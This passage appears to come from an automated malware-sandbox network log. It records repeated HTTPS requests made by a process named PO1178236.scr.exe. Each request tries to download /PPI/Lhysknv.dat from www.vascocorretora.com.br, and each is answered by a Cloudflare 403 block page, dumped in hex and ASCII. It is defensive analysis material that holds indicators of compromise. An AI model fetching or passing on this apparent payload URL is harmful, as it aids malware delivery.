6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b Data Ascii: rder-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6ac2e83f78f</strong></span> <span class="cf-footer-separator sm:hidden">•
2025-01-09 07:28:58 UTC	992	IN	Data Raw: 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 61 63 32 65 38 33 66 37 38 66 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 75 6d Data Ascii: _translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6ac2e83f78f',t:'MTczNjQwNzczOC4wMDAwMDA='};var a=docum
2025-01-09 07:28:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49798	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:58 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:58 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=62819tyEeQ%2FZ5XUkuHwwr4eSbDudC2lZSQ05V1s4hQ750GSp2nyg1HA8DuAg0RVzC0ImsPmfeAw9l%2BVqpaao0p42Y6XBE23jFsjHkEJxmKIW8xkSFLp5TgoCd9FhEDvOksRxx3Asx5BIQtOT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6afee58427c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1776&min_rtt=1770&rtt_var=676&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1605277&cwnd=246&unsent_bytes=0&cid=b50060f2d0b119f0&ts=145&x=0"
2025-01-09 07:28:58 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:58 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:28:58 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:28:58 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 61 66 65 65 35 38 34 32 37 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6afee58427c</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:28:58 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 61 66 65 65 35 38 34 32 37 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6afee58427c',t:'MTczNjQwNzczOC4wMDAwMDA='};var a=d
2025-01-09 07:28:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49799	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:59 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:59 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3PefYtA7%2FUfCG5t58SnoRCXvqU3O0h2TCWc%2FKbU6MGA5ScwaHY5oIw5c6RiZGm24mXkPmo9OsXOSb%2Bb97PIjDi28w5AnE2aKyrXb036bS9KXluuM2F57COkEIR%2Br9%2FRTNcg713IIKxMKsLgZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6b3bdab0fa8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1529&min_rtt=1517&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1808049&cwnd=252&unsent_bytes=0&cid=8dba2bbef8ca6e08&ts=147&x=0"
2025-01-09 07:28:59 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:59 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:59 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:59 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 62 33 62 64 61 62 30 66 61 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6b3bdab0fa8</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:59 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 62 33 62 64 61 62 30 66 61 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 7a 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6b3bdab0fa8',t:'MTczNjQwNzczOS4wMDAwMDA='};v
2025-01-09 07:28:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49800	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:00 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:00 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XK2BcRbuJjqzMh0PnPor4fTGTugOAXwA1NHTB2z9%2FLs1hlhdFYk4mIAxUV4nUBGxqPW2xQapxuMkW%2BaY7euKouDnuOTmeqOouGsmTxyxR4ceQAxn6TDTY6biD8pckcRVyCKWx519zQuDY9ao"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6b78f29de96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1639&min_rtt=1637&rtt_var=618&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1765417&cwnd=224&unsent_bytes=0&cid=da4b2664f70c9410&ts=134&x=0"
2025-01-09 07:29:00 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:00 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:00 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:00 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 62 37 38 66 32 39 64 65 39 36 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6b78f29de96</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:00 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 62 37 38 66 32 39 64 65 39 36 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 30 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6b78f29de96',t:'MTczNjQwNzc0MC4wMDAwMDA='};var a=d
2025-01-09 07:29:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49801	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:00 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
